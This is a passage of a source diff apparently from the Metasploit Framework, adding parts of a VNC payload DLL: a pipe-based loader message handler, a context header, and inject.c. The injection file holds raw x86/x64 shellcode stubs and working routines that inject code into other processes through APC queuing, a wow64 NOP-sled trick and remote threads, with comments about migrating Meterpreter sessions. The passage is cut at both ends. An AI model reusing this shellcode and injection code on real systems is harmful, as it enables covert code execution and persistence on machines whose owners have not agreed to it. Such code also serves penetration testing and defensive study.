data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.dwCompressLevel = *(DWORD *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, new compress level is %d", AgentContext.dwCompressLevel ); + break; + case MESSAGE_SETQUALITYLEVEL: + if( header.dwLength != sizeof(DWORD) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, not enought data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.dwQualityLevel = *(DWORD *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, new quality level is %d", AgentContext.dwQualityLevel ); + break; + case MESSAGE_SETCOPYRECTUSE: + if( header.dwLength != sizeof(BOOL) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, not enought data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.bUseCopyRect = *(BOOL *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, new bUseCopyRect is %d", AgentContext.bUseCopyRect ); + break; + case MESSAGE_SETENCODINGRICHCURSOR: + if( header.dwLength != sizeof(BOOL) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, not enought data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.bEncodingRichCursor = *(BOOL *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, new dwEncodingRichCursor is %d", AgentContext.bEncodingRichCursor ); + break; + case MESSAGE_SETENCODINGPOINTERPOS: + if( header.dwLength != sizeof(BOOL) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, not enought data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.bEncodingPointerPos = *(BOOL *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, new dwEncodingPointerPos is %d", AgentContext.bEncodingPointerPos ); + break; + case MESSAGE_SETENCODINGLASTRECT: + if( header.dwLength != sizeof(BOOL) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, not enought data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.bEncodingLastRect = *(BOOL *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, new dwEncodingLastRect is %d", AgentContext.bEncodingLastRect ); + break; + case MESSAGE_SETENCODINGNEWFBSIZE: + if( header.dwLength != sizeof(BOOL) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, not enought data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.bEncodingNewfbSize = *(BOOL *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, new bEncodingNewfbSize is %d", AgentContext.bEncodingNewfbSize ); + break; + case MESSAGE_SETENCODINGXCURSOR: + if( header.dwLength != sizeof(BOOL) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, not enought data (got %d bytes)", header.dwLength ); + break; + } + AgentContext.bEncodingXCursor = *(BOOL *)pBuffer; + dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, new bEncodingXCursor is %d", AgentContext.bEncodingXCursor ); + break; + /* + case MESSAGE_SETZLIBDICTIONARY: + if( header.dwLength < sizeof(DICTMSG) ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, not enought data (got %d bytes)", header.dwLength ); + break; + } + else + { + DICTMSG * dmsg = (DICTMSG *)pBuffer; + if( dmsg->dwId > 4 ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, invalid id (got %d)", dmsg->dwId ); + break; + } + + if( AgentContext.dictionaries[dmsg->dwId] ) + free( AgentContext.dictionaries[dmsg->dwId] ); + + AgentContext.dictionaries[dmsg->dwId] = (DICTMSG *)malloc( sizeof(DICTMSG) + dmsg->dwDictLength ); + if( !AgentContext.dictionaries[dmsg->dwId] ) + { + dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, malloc failed" ); + break; + } + + AgentContext.dictionaries[dmsg->dwId]->dwId = dmsg->dwId; + AgentContext.dictionaries[dmsg->dwId]->dwDictLength = dmsg->dwDictLength; + + memcpy( &AgentContext.dictionaries[dmsg->dwId]->bDictBuffer, &dmsg->bDictBuffer, dmsg->dwDictLength ); + + dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, id=%d, length=%d", dmsg->dwId, dmsg->dwDictLength ); + } + break; + */ + default: + dprintf("[LOADER] loader_message_thread. Unknown message 0x%08X", header.dwMessage ); + break; + } + + if( pBuffer ) + { + free( pBuffer ); + pBuffer = NULL; + } + } + + } while( 0 ); + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + dprintf( "[LOADER] loader_message_thread. EXCEPTION_EXECUTE_HANDLER\n\n" ); + } + + dprintf("[LOADER] loader_message_thread. thread finishing..."); + + if( hServerPipe ) + { + DisconnectNamedPipe( hServerPipe ); + CLOSE_HANDLE( hServerPipe ); + } + + if( pBuffer ) + free( pBuffer ); + + return dwResult; +} diff --git a/external/source/vncdll/vncdll/context.h b/external/source/vncdll/vncdll/context.h new file mode 100644 index 0000000000..df5143138e --- /dev/null +++ b/external/source/vncdll/vncdll/context.h @@ -0,0 +1,108 @@ +// Copyright (C) 2006-2010, Rapid7, Inc +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, +// are permitted provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, +// this list of conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, +// this list of conditions and the following disclaimer in the documentation +// and/or other materials provided with the distribution. +// +// * Neither the name of Rapid7, Inc nor the names of its contributors +// may be used to endorse or promote products derived from this software +// without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _VNCDLL_LOADER_CONTEXT_H +#define _VNCDLL_LOADER_CONTEXT_H +//===============================================================================================// + +typedef struct _PIXELFORMAT +{ + BYTE bpp; + BYTE depth; + BYTE bigendian; + BYTE truecolour; + WORD redmax; + WORD greenmax; + WORD bluemax; + BYTE redshift; + BYTE greenshift; + BYTE blueshift; + BYTE pad1; + WORD pad2; +} PIXELFORMAT; + +/*typedef struct _DICTMSG +{ + DWORD dwId; + DWORD dwDictLength; + BYTE bDictBuffer[1]; +} DICTMSG;*/ + +/* + * The context used for the agent to keep the vnc stream back to the client consistent during session switching. + */ +typedef struct _AGENT_CTX +{ + // The WSAPROTOCOL_INFO structure for the socket back to the client. + WSAPROTOCOL_INFO info; + // Flag to disable the creation of a courtesy shell on the input desktop. + BOOL bDisableCourtesyShell; + // The event to terminate the vnc agent. + HANDLE hCloseEvent; + // A flag to force only the first agent instance to perform the RFB initilization. + BOOL bInit; + // The encoding used by the last agent, we can then force the next agent to keep using + // the last known encoding in order to keep the remote client's RFB stream consistent. + DWORD dwEncoding; + // A hex value used for the loaders pipe server + DWORD dwPipeName; + // The rfb streams current pixel format. + PIXELFORMAT PixelFormat; + // Various settings for the rfb stream. + DWORD dwCompressLevel; + DWORD dwQualityLevel; + BOOL bUseCopyRect; + BOOL bEncodingRichCursor; + BOOL bEncodingPointerPos; + BOOL bEncodingLastRect; + BOOL bEncodingNewfbSize; + BOOL bEncodingXCursor; + //DICTMSG * dictionaries[4]; +} AGENT_CTX, * LPAGENT_CTX; + +#define MESSAGE_SETENCODING 0x28471649 +#define MESSAGE_SETPIXELFORMAT 0x92785926 +#define MESSAGE_SETCOMPRESSLEVEL 0x82658926 +#define MESSAGE_SETQUALITYLEVEL 0x31857295 +#define MESSAGE_SETCOPYRECTUSE 0x91748275 +#define MESSAGE_SETENCODINGRICHCURSOR 0x39185037 +#define MESSAGE_SETENCODINGPOINTERPOS 0x47295620 +#define MESSAGE_SETENCODINGLASTRECT 0x11984659 +#define MESSAGE_SETENCODINGNEWFBSIZE 0x94856345 +#define MESSAGE_SETENCODINGXCURSOR 0x81659265 +#define MESSAGE_SETZLIBDICTIONARY 0x91601668 + +//===============================================================================================// + +VOID context_init( VOID ); + +DWORD WINAPI context_message_thread( LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/inject.c b/external/source/vncdll/vncdll/inject.c new file mode 100755 index 0000000000..3414584dc6 --- /dev/null +++ b/external/source/vncdll/vncdll/inject.c @@ -0,0 +1,532 @@ +#include "loader.h" +#include "ps.h" +#include "inject.h" +#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" +#include + +// Simple trick to get the current meterpreters arch +#ifdef _WIN64 + DWORD dwMeterpreterArch = PROCESS_ARCH_X64; +#else + DWORD dwMeterpreterArch = PROCESS_ARCH_X86; +#endif + +// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' +BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" + "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" + "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00" + "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24" + "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; + +// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' +BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" + "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" + "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" + "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" + "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" + "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" + "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" + "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" + "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" + "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" + "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" + "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" + "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" + "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" + "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" + "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" + "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; + +// see '/msf3/external/source/shellcode/x86/migrate/apc.asm' +BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" + "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" + "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" + "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" + "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" + "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" + "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" + "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" + "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" + "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" + "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" + "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" + "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" + "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00"; + +// see '/msf3/external/source/shellcode/x64/migrate/apc.asm' +BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" + "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" + "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" + "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" + "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" + "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" + "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" + "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" + "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" + "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" + "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" + "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" + "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" + "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" + "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" + "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" + "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" + "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00"; +#define MAXT 128 +/* + * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread + * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe + */ +DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + HMODULE hNtdll = NULL; + NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; + HANDLE hThreadSnap = NULL; + LPVOID lpApcStub = NULL; + LPVOID lpRemoteApcStub = NULL; + LPVOID lpRemoteApcContext = NULL; + HANDLE hThreadList[MAXT] = {0}; + THREADENTRY32 t = {0}; + APCCONTEXT ctx = {0}; + DWORD dwApcStubLength = 0; + DWORD dwListIndex = 0; + + do + { + ctx.s.lpStartAddress = lpStartAddress; + ctx.p.lpParameter = lpParameter; + ctx.bExecuted = FALSE; + + t.dwSize = sizeof( THREADENTRY32 ); + + // Get the architecture specific apc migration stub... + if( dwDestinationArch == PROCESS_ARCH_X86 ) + { + if( dwMeterpreterArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x86(wow64) + + // Our injected APC ends up running in native x64 mode within the wow64 process and as such + // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. + + // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. + + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) + } + else + { + // injecting x86->x86 + lpApcStub = &apc_stub_x86; + dwApcStubLength = sizeof( apc_stub_x86 ); + } + } + else if( dwDestinationArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x64 (and the same stub for x86(wow64)->x64) + lpApcStub = &apc_stub_x64; + dwApcStubLength = sizeof( apc_stub_x64 ); + + if( dwMeterpreterArch == PROCESS_ARCH_X86 ) + { + // injecting x86(wow64)->x64 + + // For now we leverage a bug in wow64 to get x86->x64 injection working, this + // will simply fail gracefully on systems where the technique does not work. + + MEMORY_BASIC_INFORMATION mbi = {0}; + LPVOID lpRemoteAddress = NULL; + BYTE * lpNopSled = NULL; + BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; + + /* + // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. + // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, + // however the start address of the new APC in the native x64 process is not what we specify but instead it is + // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc + // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there + // injection will continue as normal. + + // The registers on the native x64 process after the queued APC is attempted to run: + rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process + rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) + rdx = dwApcStatusBlock // unused + r8 = dwApcReserved // unused + + // On the WOW64 process side: + wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine + wow64:000000006B0095F0 + wow64:000000006B0095F0 public Wow64ApcRoutine + + // On the native x64 process side: + ntdll:0000000077EF30A0 public KiUserApcDispatcher + ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value + ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock + ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved + ntdll:0000000077EF30AE mov r9, rsp + ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! + + // Our bStub: + 00000000 4889C8 mov rax, rcx + 00000003 48C1E120 shl rcx, 32 + 00000007 48C1E920 shr rcx, 32 + 0000000B 48C1E820 shr rax, 32 + 0000000F FFE0 jmp rax + */ + + // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... + // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. + lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteAddress ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); + + if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); + + lpNopSled = (BYTE *)malloc( mbi.RegionSize ); + if( !lpNopSled ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); + + memset( lpNopSled, 0x90, mbi.RegionSize ); + + if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) + + if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) + + free( lpNopSled ); + } + } + else + { + SetLastError( ERROR_BAD_ENVIRONMENT ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) + } + + hNtdll = LoadLibraryA( "ntdll" ); + if( !hNtdll ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) + + pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); + if( !pNtQueueApcThread ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) + + hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); + if( !hThreadSnap ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) + + if( !Thread32First( hThreadSnap, &t ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) + + // Allocate memory for the apc stub and context + lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteApcStub ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) + + // Simply determine the apc context address + lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); + + dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); + + // Write the apc stub to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) + + // Write the apc context to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) + + do + { + HANDLE hThread = NULL; + + // Only proceed if we are targeting a thread in the target process + if( t.th32OwnerProcessID != dwProcessID ) + continue; + + // Open a handle to this thread so we can do the apc injection + hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); + if( !hThread ) + continue; + + dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); + + // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt + // an ssl connection back but the client side will not be ready to accept it and we loose the session. + if( SuspendThread( hThread ) != (DWORD)-1 ) + { + hThreadList[ dwListIndex ] = hThread; + dwListIndex += 1; + + // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target + // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. + // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. + if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) + { + dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); + dwResult = ERROR_SUCCESS; + } + else + { + dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); + } + } + else + { + CloseHandle( hThread ); + } + + // keep searching for more target threads to inject our apc stub into... + + } while( Thread32Next( hThreadSnap, &t ) && dwListIndex < MAXT-1 ); + + } while( 0 ); + + if( dwListIndex ) + { + HANDLE hThread = NULL; + // Resume all the threads which we queued our apc into + while( dwListIndex > 0 ) + { + dwListIndex -= 1; + hThread = hThreadList[ dwListIndex ]; + if( !hThread ) + break; + ResumeThread( hThread ); + CloseHandle( hThread ); + } + } + + if( hThreadSnap ) + CloseHandle( hThreadSnap ); + + if( hNtdll ) + FreeLibrary( hNtdll ); + + SetLastError( dwResult ); + + return dwResult; +} + +/* + * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) + * enviroment into a native x64 enviroment and accessing the native win64 API's. + * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new + * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out + * Windows 2003 from this method of injection, however the APC injection method will work on 2003. + */ +DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) +{ + DWORD dwResult = ERROR_SUCCESS; + EXECUTEX64 pExecuteX64 = NULL; + X64FUNCTION pX64function = NULL; + WOW64CONTEXT * ctx = NULL; + OSVERSIONINFO os = {0}; + + do + { + os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); + + if( !GetVersionEx( &os ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) + + // filter out Windows 2003 + if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) + } + + // alloc a RWX buffer in this process for the EXECUTEX64 function + pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pExecuteX64 ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) + + // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) + pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pX64function ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) + + // copy over the wow64->x64 stub + memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); + + // copy over the native x64 function + memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); + + // set the context + ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); + + ctx->h.hProcess = hProcess; + ctx->s.lpStartAddress = lpStartAddress; + ctx->p.lpParameter = lpParameter; + ctx->t.hThread = NULL; + + dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); + + // Transition this wow64 process into native x64 and call pX64function( ctx ) + // The native function will use the native Win64 API's to create a remote thread in the target process. + if( !pExecuteX64( pX64function, (DWORD)ctx ) ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) + } + + if( !ctx->t.hThread ) + { + SetLastError( ERROR_INVALID_HANDLE ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) + } + + // Success! grab the new thread handle from of the context + *pThread = ctx->t.hThread; + + dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); + + } while( 0 ); + + if( pExecuteX64 ) + VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); + + if( pX64function ) + VirtualFree( pX64function, 0, MEM_DECOMMIT ); + + return dwResult; +} + +/* + * Attempte to gain code execution in the remote process by creating a remote thread in the target process. + */ +DWORD inject_via_remotethread( HANDLE hProcess, DWORD dwDestinationArch, 